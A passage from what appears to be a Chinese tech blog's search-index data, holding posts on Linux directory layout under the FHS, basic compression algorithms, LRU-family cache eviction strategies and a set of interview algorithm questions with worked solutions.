Hierarchy Standard) 其实这东西。。。虽然有一个统一的标准。。。但是不同发行版。。。或者同一个发行版的不同版本。。。差异貌似都蛮大的。。。所以只是理论上各个目录的作用。。。可能和具体的发行版不符。。。 Linux 目录 # 在 Linux 下，我们看到的是文件夹（目录）： 在早期的 UNIX 系统中，各个厂家各自定义了自己的 UNIX 系统文件目录，比较混乱。Linux 面世不久后，对文件目录进行了标准化，于1994年对根文件目录做了统一的规范，推出 FHS ( Filesystem Hierarchy Standard ) 的 Linux 文件系统层次结构标准。FHS 标准规定了 Linux 根目录各文件夹的名称及作用，统一了Linux界命名混乱的局面。 无论何种版本的 Linux 发行版，桌面、应用是 Linux 的外衣，文件组织、目录结构才是Linux的内心。 FHS（英文：Filesystem Hierarchy Standard 中文：文件系统层次结构标准），多数 Linux 版本采用这种文件组织形式，FHS 定义了系统中每个区域的用途、所需要的最小构成的文件和目录同时还给出了例外处理与矛盾处理。 FHS 定义了两层规范，第一层是， / 下面的各个目录应该要放什么文件数据，例如 /etc应该要放置设置文件，/bin 与 /sbin 则应该要放置可执行文件等等。 第二层则是针对 /usr 及 /var 这两个目录的子目录来定义。例如 /var/log 放置系统登录文件、/usr/share 放置共享数据等等。 FHS 是根据以往无数 Linux 用户和开发者的经验总结出来的，并且会维持更新，FHS 依据文件系统使用的频繁与否以及是否允许用户随意改动（注意，不是不能，学习过程中，不要怕这些），将目录定义为四种交互作用的形态，如下表所示： /：根目录，一般根目录下只存放目录，不要存放件，/etc、/bin、/dev、/lib、/sbin应该和根目录放置在一个分区中 /bin: /usr/bin: 可执行二进制文件的目录，如常用的命令ls、tar、mv、cat等。 /boot：放置linux系统启动时用到的一些文件。/boot/vmlinuz 为 linux 的内核文件，以及 /boot/gurb。建议单独分区，分区大小100M即可 /dev：存放linux系统下的设备文件，访问该目录下某个文件，相当于访问某个设备，常用的是挂载光驱 mount /dev/cdrom /mnt。 /etc：系统配置文件存放的目录，不建议在此目录下存放可执行文件，重要的配置文件有 /etc/inittab、/etc/fstab、/etc/init.d、/etc/X11、/etc/sysconfig、/etc/xinetd.d修改配置文件之前记得备份。 注：/etc/X11 存放与 x windows 有关的设置。 /home：系统默认的用户家目录，新增用户账号时，用户的家目录都存放在此目录下，~表示当前用户的家目录，~edu 表示用户 edu 的家目录。建议单独分区，并设置较大的磁盘空间，方便用户存放数据 /lib: /usr/lib: /usr/local/lib：系统使用的函数库的目录，程序在执行过程中，需要调用一些额外的参数时需要函数库的协助，比较重要的目录为 /lib/modules。 /lost+fount：系统异常产生错误时，会将一些遗失的片段放置于此目录下，通常这个目录会自动出现在装置目录下。如加载硬盘于 /disk 中，此目录下就会自动产生目录 /disk/lost+found /mnt: /media：光盘默认挂载点，通常光盘挂载于 /mnt/cdrom 下，也不一定，可以选择任意位置进行挂载。 /opt：给主机额外安装软件所摆放的目录。如：FC4使用的Fedora 社群开发软件，如果想要自行安装新的 KDE 桌面软件，可以将该软件安装在该目录下。以前的 Linux 系统中，习惯放置在 /usr/local 目录下 /proc：此目录的数据都在内存中，如系统核心，外部设备，网络状态，由于数据都存放于内存中，所以不占用磁盘空间，比较重要的目录有 /proc","date":"2017-03-15","externalUrl":null,"permalink":"/2017/03/common-linux-files/","section":"Posts","summary":"参考：[wiki_FHS](http://Filesystem Hierarchy Standard)","tags":["linux"],"title":"Linux 下各个目录的作用及内容","type":"post"},{"categories":["工程"],"content":"参考链接 简要概述原理： 每个文件都由各种不同代码组成，比如01代码。这类文件只有数字0与1组合。 压缩原理就是 【通过寻找其中的规律，简化数字的排列】。 比如 00000110001111111111 可以简化成 5个0,2个1,3个0,10个1的排列 100000000000 可以简化成数学的 10^10 至于@yskin 说 没见过2G压缩到十几兆的。 实际上在极限压缩方式下其实28.1G压到25.8M都可以。 附下载 2^31-1 [AviSynth 16x16 60.000fps AVC-Lossless-yuv420p8]__ 打开看后基本都能理解这个压缩的大概原理了。 下面是几种常见文件压缩算法原理介绍： 字典算法 字典算法是最为简单的压缩算法之一。它是把文本中出现频率比较多的单词或词汇组合做成一个对应的字典列表，并用特殊代码来表示这个单词或词汇。例如： 有字典列表： 00=Chinese 01=People 02=China 源文本：I am a Chinese people,I am from China 压缩后的编码为：I am a 00 01,I am from 02。压缩编码后的长度显著缩小，这样的编码在SLG游戏等专有名词比较多的游戏中比较容易出现，比如《SD高达》。 # 固定位长算法（Fixed Bit Length Packing） 这种算法是把文本用需要的最少的位来进行压缩编码。 比 如八个十六进制数：1，2，3，4，5，6，7，8。转换为二进制为：00000001，00000010，00000011，00000100， 00000101，00000110，00000111，00001000。每个数只用到了低4位，而高4位没有用到（全为0），因此对低4位进行压缩编 码后得到：0001，0010，0011，0100，0101，0110，0111，1000。然后补充为字节得到：00010010， 00110100，01010110，01111000。所以原来的八个十六进制数缩短了一半，得到4个十六进制数：12，34，56，78。 这也是比较常见的压缩算法之一。 # RLE（Run Length Encoding） 是一个针对无损压缩的非常简单的算法。它用重复字节和重复的次数来简单描述来代替重复的字节。尽管简单并且对于通常的压缩非常低效，但它有的时候却非常有用（例如，JPEG就使用它）。 原理图2.1显示了一个如何使用RLE算法来对一个数据流编码的例子，其中出现六次的符号‘93’已经用3个字节来代替：一个标记字节（‘0’在本例中）重复的次数（‘6’）和符号本身（‘93’）。RLE解码器遇到符号‘0’的时候，它表明后面的两个字节决定了需要输出哪个符号以及输出多少次。 这种压缩编码是一种变长的编码，RLE根据文本不同的具体情况会有不同的压缩编码变体与之相适应，以产生更大的压缩比率。 变体1：重复次数+字符 文本字符串：A A A B B B C C C C D D D D，编码后得到：3 A 3 B 4 C 4 D。 变体2：特殊字符+重复次数+字符 文本字符串：A A A A A B C C C C B C C C，编码后得到：B B 5 A B B 4 C B B 3 C。编码串的最开始说明特殊字符B，以后B后面跟着的数字就表示出重复的次数。 变体3：把文本每个字节分组成块，每个字符最多重复 127 次。每个块以一个特殊字节开头。那个特殊字节的第 7 位如果被置位，那么剩下的7位数值就是后面的字符的重复次数。如果第 7 位没有被置位，那么剩下 7 位就是后面没有被压缩的字符的数量。例如：文本字符串：A A A A A B C D E F F F。编码后得到：85 A 4 B C D E 83 F（85H= 10000101B、4H= 00000100B、83H= 10000011B） 实现RLE可以使用很多不同的方法。基本压缩库中详细实现的方式是非常有效的一个。一个特殊的标记字节用来指示重复节的开始，而不是对于重复非重复节都coding run。 因此非重复节可以有任意长度而不被控制字节打断，除非指定的标记字节出现在非重复节（顶多以两个字节来编码）的稀有情况下。为了最优化效率，标记字节应该是输入流中最少出现的","date":"2017-03-15","externalUrl":null,"permalink":"/2017/03/Overview-of-Compression-Algorithms/","section":"Posts","summary":"参考链接 简要概述原理： 每个文件都由各种不同代码组成，比如01代码。这类文件只有数字0与1组合。 压缩原理就是 【通过寻找其中的规律，简化数字的排列】。 比如 00000110001111111111 可以简化成 5个0,2个1,3个0,10个1的排列 100000000000 可以简化成数学的 10^10","tags":["数据压缩"],"title":"压缩算法初探（科普向，转载）","type":"post"},{"categories":["其他"],"content":"参考博客 计组块忘光了呜呜呜。。。来复习一波。。 1. LRU # 1.1. 原理 LRU（Least recently used，最近最少使用）算法根据数据的历史访问记录来进行淘汰数据，其核心思想是“如果数据最近被访问过，那么将来被访问的几率也更高”。 1.2. 实现 # 最常见的实现是使用一个链表保存缓存数据，详细算法实现如下： 1. 新数据插入到链表头部； 2. 每当缓存命中（即缓存数据被访问），则将数据移到链表头部； 3. 当链表满的时候，将链表尾部的数据丢弃。 1.3. 分析 # 【命中率】 当存在热点数据时，LRU的效率很好，但偶发性的、周期性的批量操作会导致LRU命中率急剧下降，缓存污染情况比较严重。 【复杂度】 实现简单。 【代价】 命中时需要遍历链表，找到命中的数据块索引，然后需要将数据移到头部。 2. LRU-K # 2.1. 原理 # LRU-K中的K代表最近使用的次数，因此LRU可以认为是LRU-1。LRU-K的主要目的是为了解决LRU算法“缓存污染”的问题，其核心思想是将“最近使用过1次”的判断标准扩展为“最近使用过K次”。 2.2. 实现 # 相比LRU，LRU-K需要多维护一个队列，用于记录所有缓存数据被访问的历史。只有当数据的访问次数达到K次的时候，才将数据放入缓存。当需要淘汰数据时，LRU-K会淘汰第K次访问时间距当前时间最大的数据。详细实现如下： 1. 数据第一次被访问，加入到访问历史列表； 2. 如果数据在访问历史列表里后没有达到K次访问，则按照一定规则（FIFO，LRU）淘汰； 3. 当访问历史队列中的数据访问次数达到K次后，将数据索引从历史队列删除，将数据移到缓存队列中，并缓存此数据，缓存队列重新按照时间排序； 4. 缓存数据队列中被再次访问后，重新排序； 5. 需要淘汰数据时，淘汰缓存队列中排在末尾的数据，即：淘汰“倒数第K次访问离现在最久”的数据。 LRU-K具有LRU的优点，同时能够避免LRU的缺点，实际应用中LRU-2是综合各种因素后最优的选择，LRU-3或者更大的K值命中率会高，但适应性差，需要大量的数据访问才能将历史访问记录清除掉。 2.3. 分析 # 【命中率】 LRU-K降低了“缓存污染”带来的问题，命中率比LRU要高。 【复杂度】 LRU-K队列是一个优先级队列，算法复杂度和代价比较高。 【代价】 由于LRU-K还需要记录那些被访问过、但还没有放入缓存的对象，因此内存消耗会比LRU要多；当数据量很大的时候，内存消耗会比较可观。 LRU-K需要基于时间进行排序（可以需要淘汰时再排序，也可以即时排序），CPU消耗比LRU要高。 3. Two queues（2Q） # 3.1. 原理 # Two queues（以下使用2Q代替）算法类似于LRU-2，不同点在于2Q将LRU-2算法中的访问历史队列（注意这不是缓存数据的）改为一个FIFO缓存队列，即：2Q算法有两个缓存队列，一个是FIFO队列，一个是LRU队列。 3.2. 实现 # 当数据第一次访问时，2Q算法将数据缓存在FIFO队列里面，当数据第二次被访问时，则将数据从FIFO队列移到LRU队列里面，两个队列各自按照自己的方法淘汰数据。详细实现如下： 1. 新访问的数据插入到FIFO队列； 2. 如果数据在FIFO队列中一直没有被再次访问，则最终按照FIFO规则淘汰； 3. 如果数据在FIFO队列中被再次访问，则将数据移到LRU队列头部； 4. 如果数据在LRU队列再次被访问，则将数据移到LRU队列头部； 5. LRU队列淘汰末尾的数据。 注：上图中FIFO队列比LRU队列短，但并不代表这是算法要求，实际应用中两者比例没有硬性规定。 3.3. 分析 # 【命中率】 2Q算法的命中率要高于LRU。 【复杂度】 需要两个队列，但两个队列本身都比较简单。 【代价】 FIFO和LRU的代价之和。 2Q算法和LRU-2算法命中率类似，内存消耗也比较接近，但对于最后缓存的数据来说，2Q会减少一次从原始存储读取数据或者计算数据的操作。 4. Multi Queue（MQ） # 4.1. 原理 # MQ算法根据访问频率将数据划分为多个队列，不同的队列具有不同的访问优先级，其核心思想是：优先缓存访问次数多的数据。 4.2. 实现 # MQ算法将缓存划","date":"2017-03-15","externalUrl":null,"permalink":"/2017/03/lru/","section":"Posts","summary":"参考博客 计组块忘光了呜呜呜。。。来复习一波。。 1. LRU # 1.1. 原理","tags":["cache","LRU","组成原理"],"title":"缓存淘汰算法之LRU（转载）","type":"post"},{"categories":["面试"],"content":"I want to match those five numbers 3, 7, 8, 9, 87 through regular express. 1Here is my thought: 2 3- match those four numbers `3 7 8 9` var `^[3|7|8|9]$` 4- match number `87` var `^87$` 5 6Then combine them together, `(^[3|7|8|9]$|^87$)`. With some test, it seems correct. Is there any way to do that more efficiently? 7 8------------------------------- 9 10Q: 已知三个升序整数数组a[l], b[m]和c[n]。请在三个数组中各找一个元素，是的组成的三元组距离最小。 11三元组的距离定义是：假设a[i]、b[j]和c[k]是一个三元组，那么距离为: 12Distance = max(|a[i] – b[j]|, |a[i] – c[k]|, |b[j] – c[k]|) 13请设计一个求最小三元组距离的最优算法，并分析时间复杂度。 14 15用三个指针分别指向a,b,c中最小的数，计算一次他们最大距离的Distance ，然后在移动三个数中较小的数组指针， 16再计算一次，每次移动一个，直到其中一个数组结束为止，最慢(l+ m + n)次，复杂度为O(l+ m + n) 17--------------------------------------------------------------------------------------------------------------------- 18Q:设计一个最优算法来查找一n个元素数组中的最大值和最小值。 19已知一种需要比较2n次的方法，请给一个更优的算法。情特别注意优化时间复杂度的常数。 20 21把数组两两一对分组，如果数组元素个数为奇数，就最后单独分一个，然后分别对每一组的两个数比较， 22把小的放在左边，大的放在右边，这样遍历下来，总共比较的次数是 N/2 次；在前面分组的基础上，那么可以得到结论， 23最小值一定在每一组的左边部分找，最大值一定在数组的右边部分找，最大值和最小值的查找分别需要比较N/2 次和N/2 次； 24这样就可以找到最大值和最小值了，比较的次数为 25　N/2 * 3 = (3N)/2 次 26--------------------------------------------------------------------------------------------------------------------- 27Q:有N条鱼每条鱼的位置及大小均不同，他们沿着X轴游动，有的向左，有的向右。游动的速度是一样的，两条鱼相遇大鱼会吃掉小鱼。 28从左到右给出每条鱼的大小和游动的方向（0表示向左，1表示向右）。问足够长的时间之后，能剩下多少条鱼？ 29 30用一个栈 31从左向右处理数据 321)遇到向右的鱼，压栈； 332)遇到向左的鱼，若栈空，结果+1；否则，将该鱼和栈顶比较，若栈顶鱼较大，则该鱼被吃掉，栈不变，处理下一个数据； 34 若栈顶鱼小，则弹出栈顶，继续与下一个比较，直到遇到较大的鱼，该鱼被吃掉；或者栈里鱼都比该鱼小，栈清空，结果+1 353)加上最终栈中鱼的数目 36-------------------------------------------------------------------------------------------------------------------- 37Q: Taxicab numbers. A taxicab number is an integer that can be expressed as the sum of two cubes of 38integers in two different ways: a^3+b^3=c^3+d^3. For example, 1729=9^3+10^3=1^3+12","date":"2017-03-14","externalUrl":null,"permalink":"/2017/03/%e9%98%bf%e9%87%8c%e9%9d%a2%e8%af%95%e7%ae%97%e6%b3%95%e9%a2%98%ef%bc%88%e8%bd%ac%e8%bd%bd%ef%bc%89/","section":"Posts","summary":"I want to match those five numbers 3, 7, 8, 9, 87 through regular express. 1Here is my thought: 2 3- match those four numbers `3 7 8 9` var `^[3|7|8|9]$` 4- match number `87` var `^87$` 5 6Then combine them together, `(^[3|7|8|9]$|^87$)`. With some test, it seems correct. Is there any way to do that more efficiently? 7 8------------------------------- 9 10Q: 已知三个升序整数数组a[l], b[m]和c[n]。请在三个数组中各找一个元素，是的组成的三元组距离最小。 11三元组的距离定义是：假设a[i]、b[j]和c[k]是一个三元组，那么距离为: 12Distance = max(|a[i] – b[j]|, |a[i] – c[k]|, |b[j] – c[k]|) 13请设计一个求最小三元组距离的最优算法，并分析时间复杂度。 14 15用三个指针分别指向a,b,c中最小的数，计算一次他们最大距离的Distance ，然后在移动三个数中较小的数组指针， 16再计算一次，每次移动一个，直到其中一个数组结束为止，最慢(l+ m + n)次，复杂度为O(l+ m + n) 17--------------------------------------------------------------------------------------------------------------------- 18Q:设计一个最优算法来查找一n个元素数组中的最大值和最小值。 19已知一种需要比较2n次的方法，请给一个更优的算法。情特别注意优化时间复杂度的常数。 20 21把数组两两一对分组，如果数组元素个数为奇数，就最后单独分一个，然后分别对每一组的两个数比较， 22把小的放在左边，大的放在右边，这样遍历下来，总共比较的次数是 N/2 次；在前面分组的基础上，那么可以得到结论， 23最小值一定在每一组的左边部分找，最大值一定在数组的右边部分找，最大值和最小值的查找分别需要比较N/2 次和N/2 次； 24这样就可以找到最大值和最小值了，比较的次数为 25　N/2 * 3 = (3N)/2 次 26--------------------------------------------------------------------------------------------------------------------- 27Q:有N条鱼每条鱼的位置及大小均不同，他们沿着X轴游动，有的向左，有的向右。游动的速度是一样的，两条鱼相遇大鱼会吃掉小鱼。 28从左到右给出每条鱼的大小和游动的方向（0表示向左，1表示向右）。问足够长的时间之后，能剩下多少条鱼？ 29 30用一个栈 31从左向右处理数据 321)遇到向右的鱼，压栈； 332)遇到向左的鱼，若栈空，结果+1；否则，将该鱼和栈顶比较，若栈顶鱼较大，则该鱼被吃掉，栈不变，处理下一个数据； 34 若栈顶鱼小，则弹出栈顶，继续与下一个比较，直到遇到较大的鱼，该鱼被吃掉；或者栈里鱼都比该鱼小，栈清空，结果+1 353)加上最终栈中鱼的数目 36-------------------------------------------------------------------------------------------------------------------- 37Q: Taxicab numbers. A taxicab number is an integer that can be expressed as the sum of two cubes of 38integers in two different ways: a^3+b^3=c^3+d^3. For example, 1729=9^3+10^3=1^3+12^3. 39Design an algorithm to find all taxicab numbers with a, b, c, and d less than N. 40 Version 1: Use time proportional to N2logN and space proportional to N2. 41 Version 2: Use time proportional to N2logN and space proportional to N. 42 43Hints: 44 Version 1: Form the sums a^3+b^3 and sort. 45 Version 2: Use a min-oriented priority queue with N items. 46-------------------------------------------------------------------------------------------------------------------- 47Q: 那地铁图 公交图查找，在实际的工程里用什么？ 48 49 R树划分区域, 线段树确定方案 50 51Q: 德导航那个林志玲的声音，他不是让林志玲一条条的录的，合成过程中用了二分图的一个演化算法 52 53-------------------------------------------------------------------------------------------------------------------- 54Q:有一个链表，每一个节点除了next指针指向一下节点以外， 55又多出了一个指针random，指向链表中的任何一个节点，包括null。请给出方法完成链表的深拷贝。 56 57这个问题的关键就在于random指针如何完成拷贝，next指针一次遍历就完成了，random指针拷贝的关键在于， 58如何找到random指向的节点对应的新的节点。一般来讲，大家会想到用map来保存旧的节点到新的节点的映射， 59这样得到的方法的时间复杂度为O(n)，空间复杂度为O(n)。 60下面是一个可行的方法：oldlist为原始链表，copylist为新的链表，oldnode为oldlist中的节点，copynode为copylist中的节点： 61 1. 根据oldlist，创建copylist，只拷贝next指针 62 2. 保存oldnode到oldnode.next的映射 63 3. 将oldlist中的oldnode的next指针指向copylist中对应的copynode 64 4. 将copylist中的copynode的random指针指向oldlist中对应的oldnode 65 5. 对于copylist中的每一个节点：copynode.random=copynode.random.random.next 66 6. 根据第2步，建立的映射，恢复oldlist 67 68上面这个方法，需要额外的映射。下面介绍一个巧妙的方法，可以省去映射的部分 69 1. 对oldlist中的节点，依次作如下的操作：对于第i个节点oldnode[i]，生成拷贝节点copynode[i]， 70 并且插入在oldnode[i]和oldnode[i+1]之间，最后一个节点直接附加到oldlist后面即可。 71 2. 处理每一个copynode的random拷贝，及对每一个copynode=oldnode.next, oldnode.next.random=oldnode.random.next 72 后面的next确保是copynode。 73 3. 通过如下的操作，恢复oldlist，以及生成copylist 1) oldnode.next = oldnode.next.next 2) 74 copynode.next = copynode.next.next 这里要注意，oldnode的最后一个节点，next是null 75--------------------------------------------------------------------------------------------------------------- 76Q:一个数组A，数字出现的情况，只有以下三种： 77 1. 一些数字只出现一次 78 2. 一些数字出现两次 79 3. 只有一个数字出现三次 80 81请给出方法，找到出现三次的数字。 82分析这个题目和“找数字”的题目比较相似，但是解法上类似么？之前的解法是检查某一位上的1的和，是否能够被3整除， 83因为整数是32位的，可以开辟一个 32位大小的数组，这也是常数空间的。那么这个题目可以用这个方法来解决么？ 84因为有不确定个数的数字出现了一次，这样可以产生的余数的种类也就比较多了。 那该怎么处理呢？ 85hashmap的方法被称为万金油，在牺牲了空间的条件下，很好的达到了O(n)的时间复杂度。 86如果要求常数空间的解法呢？之前的文章也有讨论，快排的时间复杂度是O(nlogn)，然后遍历一遍，找到连续三个相同的数字。 87后面这一遍遍历，可以省去，因为出现三次的数字只有一个。但总的时间复杂度仍是O(nlogn)。 88 89是否还有其他的方法呢？有的同学给出了如下的方法：可以取得A中所有数字的乘积p，我们假设p没有溢出。 90这是遍历数组中的每一个元素A[i]，查看 是否p % (A[i] * A[i] * A[i]) == 0，但此时，A[i]并不是最终要找到的数字， 91还需要遍历数组A，查看A[i]是否出现了三次。但这个方法整体的时间复杂度为O(n^2)。 92------------------------------------------------------------------------------------------------------------------- 93Q: 有数组A={5,3,8,9,16}，第一次遍历有：A = {3-5,8-3,9-8,16-9}={-2,5,1,7}，数组中元素和为-2+5+1+7=11；\\ 94第二次遍历有：A = {5-(-2),1-5,7-1}={7，-4,6}，元素和为9.给定数组A，求第n次遍历之后，数组中元素的和。 95 96处理这样的题目，如果没有直接知道相关的原理，可以自己走一下一些具体的例子，这样就可以发现一些规律，根据这些规律， 97再去联想解决的完整方法。经过观察，我们可以发现： 98 * 对于第k次遍历而言，x_k_1、x_k_2、...、x_k_m，sum = x_k_m - x_k_1 99也就是说，第k次遍历结果的和，只与第一个和最后一个元素先关。下面，就来讨论，如何求得第一个和最后一个元素。 100我们看题目中的例子，先考虑第一个元素的变化 101 * 第一次遍历 k = 1时：-2=3-5 102 * 第二次遍历 k = 2时：7=5-(-2)=(8-3)-(3-5)=8-2*3+5 103 * 第三次遍历 k = 3时：-11=-4-7=(1-5)-(5-(-2)) = ((9-8)-(8-3)) - ((8-3)-(3-5))=9-3*8+3*3-5 104分析到此，想必大家已经能够明白这其中的规律，其实就是杨辉三角，老外叫帕斯卡三角。最后一个节点是类似的。 105而且，真个方法的时间复杂度与遍历的次数n有关，与数组的大小无关。 106------------------------------------------------------------------------------------------------------------------- 107Q:搜索引擎的查询提示(suggestion)是非常重要的一个功能。现在给定查询列表，以及每一个查询对应的频率。 108请设计一种查询提示的实现方案，要兼顾效果和速度。如果有其他更好的优化点，请给出详细说明。 109 110这个功能，在搜索引擎里是非常常用的。用户在逐个输入每一个查询词的时候，给出查询的提示，用户可以选择，完成查询的输入。 111这个过程，查询的提示必须要快。要不然，用户都输入完了，还没有提示，体验太差。那这个问题要怎么做呢？ 112给定的查询日志是这样的： 113query1 num1 114query2 num2 115query3 num3 116… 117queryn numn 118 119具体的query可能是“薛蛮子”“郭敬明”等等。用户输入时，会有哪些状态呢？ 120 * 薛 121 * 薛蛮 122 * 薛蛮子 123当用户输入完“薛”的时候，就要提示以“薛”开头的哪些查询，而且是查询频率最高的10个，一般是10个。 124这里是考虑总的查询的频率最高的10个，在实际的过程中，可以考虑当前热门的查询，可能总的次数比较少， 125但是近几天用户差得非常多，这样的查询也一定要能够提示。 126形式与目的我们都清楚了。具体做法也是比较多的，最直接的，容易想到trie树，因为上面列出的几种状态，就是前缀。 127那一棵前缀树，显然是最合适的。我们在这里，就不详细说明trie的结构，只给出如何应用trie树。trie树的构建： 128 * 对于所有查询，构建trie树，并且，对于查询结束的节点，进行标记，保存查询的频率。 129 * 由叶子节点开始向上，比如，叶子节点A，父节点为B，B存储top10的查询，包括：所有叶子节点代表的查询，以及， 130 如果B是查询结束节点，也包括B节点，按照频率排序的10个查询。 131 依次向上处理，父节点的top10，是所有子节点的top10合并而成。 132这样查询的时候，直接是对trie进行查询，到某一个节点，读取这个节点存储的top10查询即可，同时，这棵树，对于更新非常友好， 133可以新增频率，从叶子节点，回溯到根节点，即可。 134或者，采用trie树，不再节点存储top10查询，查询读取到可能类表之后再进行查询，这样会慢一些，但是内存开销稍微小一些。 135但，总的来说，trie树的内存开销是非常大的。那么，我们看下面的方法。 136一般，参与过搜索引擎的开发过程的，尤其是检索部分的同学，这个题目，第一个想法，可能不是trie树，而是倒排结构。 137总的来讲，应用倒排结构，有如下特点，也是和trie树进行对比： 138 * 查询快 139 * 方便压缩，节省内存 140 * 更新不方便，可以采用定期重建 141具体倒排的做法： 142 * 对于每一个查询的所有前缀，做为倒排的索引项，创建倒排 143 * 每一个倒排，只存储top10频率的查询 144除了上面介绍的之外，还需要考虑拼音等，思路大体相同。只不过更加需要注意内存的消耗。 145--------------------------------------------------------------------------------------------------------- 146Q: 从1到n，n个数字，每个数字只出现一次。现在，随机拿走一个数字，请给出方法，找到这个数字。 147如果随机拿走两个数字呢？如果随机拿走k个数字呢？ 148 149这个题目的含义是：n-1互不相同的整数，取值范围是[1,n]，请找到1-n中，没有出现的整数(好像更难理解了:))。 150当缺少一个数字的时候，很简单，计算1到n的和sum_more，然后再将n-1个整数求和，得到sum_less， 151则消失的数字就是(sum_more - sum_less)。 152如果消失两个数字呢？按照上面的方法，假设消失的两个数字分别为a和b，1 \u003c= a, b \u003c= n， 153我们可以得到a + b = sum_more - sum_less。只有一个等式，无法确定a和b的值是多少。根据我们以前学习解方程式的经验， 154我们还需要一个等式，才能确定a和b的值。现在已知的条件，就只有sum_more,sum_less，这两个分别是n个数的和，以及n-2个数的和， 155则最终还是要在这些数字的运算形式上做文章。考虑如下两个形式： 156 * square_sum_more = n个数的平方和 157 * square_sum_less = n-2个数的平方和 158有，square_sum_more - square_sum_less = a ^ 2 + b ^ 2。又构造了一个式子。这样解如下两个式子，得到a和b，即可： 159 * square_sum_more - square_sum_less = a ^ 2 + b ^ 2 160 * sum_more - sum_less = a + b 161解比较简单了，由第二个式子得：b = sum_more - sum_less - a，带入第一个式子，则第一个式子，只有a。 162如果消失三个数字呢？根据上面处理两个数字的情况，有如下的式子： 163 * sum_more - sum_less = a + b + c 164 * square_sum_more - square_sum_less = a ^ 2 + b ^ 2 + c ^ 2 165 * cube_sum_more - cube_sum_less = a ^ 3 + b ^ 3 + c ^ 3 166解出a，b，c即可。 167依次类推，当消失k个数字的时候，算法的时间复杂度为O(kn)。 168另外，微博上的一位同学@曹鹏博士，给出了一个O(nlogn)的解法，也是非常巧妙的，具体是采用分治法： 169知道1-n最低bit有多少个为0，多少个为1。然后统计一下，给出的数最低bit有多少个为0，多少个为1； 170然后就知道从最低bit为0的那部分取走了k0个数，从最低bit为1那部分取走了k1个数。 其中，k0 + k1 = k。 171然后把那些数按照最低bit为0，为1分开。问题变为两个子问题k0,k1，然后再考虑次低bit。很不错的解法。 172----------------------------------------------------------------------------------------------------------------- 173Q:给定一个数X，他的兄弟数Y定义为：是由X中的数字组合而成，并且Y是大于X的数中最小的。 174例如，38276的兄弟数字为38627。给定X，求Y。 175 176这个题目当然有暴力的方法，列出所有的排列组合，然后然后找到大于X中，最小的Y。即，找到兄弟数字。那有没有更好的方法呢？ 177不想对所有情况进行穷举，就要想办法，尽可能缩小要处理的范围，一般的思路，从右边开始，两两交换，查看是否可以找到Y， 178最开始考虑两位，进而考虑三位，依次类推，那么如何确定，要考虑多少位呢？ 179假设X的形式如下：x1x2x3...xky1y2y3y4，并且其中y1\u003ey2\u003ey3\u003ey4，xk\u003cy1。则，交换不可能在y1y2y3y4内部发生， 180以为这几个数字，任意两个交换，X值就变小了，而Y是大于X的。所以y1到y4是不行的。 181那么xk行么？完全可以，至少和y1交换，数字变大了。 那么到底要和哪个数字交换，进而保证变化最小呢？ 182很显然，要找到y1到y4中，大于xk的值里，最小的一个。这个值交换之后，既保证了不会增加太多，也不会减少。 183假设就是y3，此时Y是x1x2x3...y3y1y2xky4,这个数是从y3那位开始，大于X的，无论后面的几位是什么。 184显然易见，最小的Y就是y1y2xky4要从小到大排序的。 185 186下面以一个具体例子来说明上述过程： 18734722641 188首先找到，从右边开始的递增的、尽可能长的数位，这里是641。 18934722(641) 190则，选取前一位数字2，进行交换。641中，大于2的最小的值是4，则作如下交换： 19134724(621) 192为了得到最小值，对621，从小到大进行排序，得到 19334724126 194则，Y为34724126. 195------------------------------------------------------------------------------------------------------------- 196Q:有n对喜鹊。每一对可以表示为(x,y)，x、y是喜鹊的编号，并且任意一对，x总是小于y。(c,d)可以连接在(a,b)之后，当且仅当b\u003cc。 197多对喜鹊连接在一起，就构建成了鹊桥。给定n对喜鹊，请你构建最长的鹊桥，来帮助有情人相会。 198 199首先，要理解这个题目的意思。具体例子说明，给定下面的例子： 200(15,40)(5,8)(1,10)(30,31)(34,35)(9,20)(36,37)(2,4)其中，(2,4)和(5,8)能够连接起来，(5,8)和(9,20)能够连接起来， 201则它们可以都连接起来，为(2,4)(5,8)(9,20)。这一段鹊桥，长度为3。依次类推，还有其他的情况。 202然后，理解了题意，该如何解决呢？假设(a,b)(c,d)(e,f)是可以连接起来的三对喜鹊。 203则它们的关系如下： b\u003cc,d\u003ce，有根据a\u003cb,c\u003cd,e\u003cf。得到，a\u003cb\u003cc\u003cd\u003ce\u003cf，即b\u003cd\u003cf(从a\u003cc\u003ce出发考虑，也是一样的)。 204我们可以想象，以每一对喜鹊的第二只编号为基准，进行排序，最终的结果，可以通过如下列表产生。 205(2,4)(5,8)(1,10)(9,20)(30,31)(34,35)(36,37)(15,40)怎么找到最长的鹊桥呢？其实就是在上表中，找到最长递增子序列， 206只不过，在比较连个喜鹊对(a,b)(c,d)的时候，是b和c进行比较即可。这个时间复杂度是O(n^2)的。 207----------------------------------------------------------------------------------------------------------------- 208Q:n根长度不一的棍子，判断是否有三根棍子可以构成三角形，并且找到周长最长的三角形。 209 210首先能够构成三角形的三根棍子需要满足什么条件呢？这个简直就是常识了： 211最长棍子的长度 \u003c 另外两根棍子的长度和 212这是重要条件。 213那么接下来该怎么办呢？暴力法——不要总觉得这是耻辱，要这样想：这是一个好开端。三条边，三层循环。时间复杂度为O(n^3)。 214这在一般的题目中，都是无法接受的。如何改进的呢？棍子有长有短，我们要找到的是周长最长的。 215我们可以对棍子的长度，从大到小排序。从最长的开始找符合构成三角形条件的。找到的第一个就是周长最长的。 216下面我们来说明，为什么第一个找到的，就是最长的。假设我们有如下长度的棍子，并且长度一次递减。 217abcdefg假设opq是第一个可以构成三角形的棍子，假设还存在xyz，构成三角形，且，x+y+z \u003e o + p + q, 218因为opq是第一个三角形，则x\u003c=o。则y+z \u003e p+q，任取y、z，则可以找到，o，y，z为一个三角形，周长大于opq， 219并且，这个三角形，在opq之前找到(因为y或者z，大于p或者q，先遍历到)。这个与adf是第一个的假设是矛盾的。 220所以，不存在xyz构成三角形，周长大于adf。 221那么如果找到第一个能够构成三角形的三根棍子呢？现在棍子的长度已经是排序的。 222abcdefg很明显，我们只需要依次考虑，相邻三个元素是否能够构成三角形即可。因为，如果acd构成三角形，abc一定是， 223而且，周长还要更长。所以这里O(n)，就可以找到周长最长的三角形。前面排序是O(nlogn)。则，总的时间复杂度是O(nlogn). 224-------------------------------------------------------------------------------------------------------------------- 225Q: 一个整数，可以表示为二进制的形式，请给出尽可能多的方法对二进制进行逆序操作。 226例如：10000110 11011000的逆序为 00011011 01100001 227 228A: 229直接的方法，很容易想到：有如下代码： int v = 111; 230int r = v; 231int s = 32; 232for (; 0 != v; v \u003e\u003e= 1) { 233 r 